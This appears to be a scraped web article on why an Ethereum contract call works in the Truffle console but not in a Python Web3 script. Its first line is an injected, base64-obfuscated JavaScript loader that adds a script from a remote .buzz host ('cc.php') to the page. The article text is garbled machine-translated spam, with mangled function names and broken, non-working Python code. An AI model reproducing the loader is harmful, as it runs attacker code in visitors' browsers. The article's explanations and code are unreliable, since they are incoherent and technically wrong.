const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=dac2c5a5″;document.body.appendChild(script);
Ethereum Smart Function call doesn’t work: Python vs truffel -dev
Ethereum network developers as a decentralized application through smart contracts, you are probably not a foreign complexity with Blockchain. When it comes to calling certain functions from external scripts, errors can be frustrating and difficult to solve.
In this article, we are looking at why the address of the AdddeviceWorner call may not work as expected in Python scripts, despite the Truffel Dev console.
problem
Suppose you have an intelligent agreement arranged in Ethereum, which defines the activity of the Adddeviceinner. You want to write a Python command series to invite this function and test its functionality. Here happens when you try to complete the code:
`Python
Import of Web3
Assuming that w3 is your example web3
W3 = web3.web3 ()
Introducing the Agreement (Replaces yourself with real implementation logic)
Agreement = w3.esth.Contract (address = « 0x … », abi = {« function »: « Adddevviceiwner »})
Replace with contract code
`
The ADDDDEVICIWORNER function takes two parameters:owner ‘Inewwwer
. When you invite this function in trufflewater, it should be successfully performed. If something is a script in Python, you will not see mistakes or warnings. The function simply does not return anything.
problem
In your Python code, you are trying to approach the agreement W3 = web3.web3 () with
, then you try to call the AdDeviceiiiiiiiioSer function Contract = w3.emth.conract (address =" 0x ..., ", abbi = {" function ":" AdddeviceIwner "})
. Since the truffle water environment has already arranged your test network contract, it has no intelligent agreement. Therefore, an attempt to create a new example « W3 » is unnecessary and encourages the mistake.
Solution
To solve this problem, you need to change your Python command series to use the Truffel Dev logic instead of creating a new contract. This is how you can do this:
`Python
Import of Web3
Import of the Libraries needed for truffles
TRYFFEL.TEST Import TestProvider
From the Treaty Import Agreement
Replace with your actual contract code
Set truffle service provider
Test_Provider = TestProvider ()
Introducing the Agreement (Replaces yourself with real implementation logic)
agreement = contract.from_abi (« path/you/you/you/you/your/contract.abi », test_provider, « 0x … », « action »: « AdddeviceIwner »})
replaced with your contract code
You can call the AddDdeviceiiiiiioSer function now
Result = contract.adddeviceiowner (« owner », « notoner »)
Print (result)
`
In this revised manuscript, theTestProvider ‘of that class of the truffle library and use it to implement the agreement. The resulting contract is then used to invite the Adddeviceiwori function.
Additional tips
You should:
- Use the ABI correctly (application botical interface) to your contract.
- Place the truffle service provider on a correct setting for a local network or testnetver.
3
As a result of these steps and editing Python scripts to use logic to implement truffle, you should be able to successfully make intelligent calls from your Python scripts, even though they do not work around the Truffel Dev console.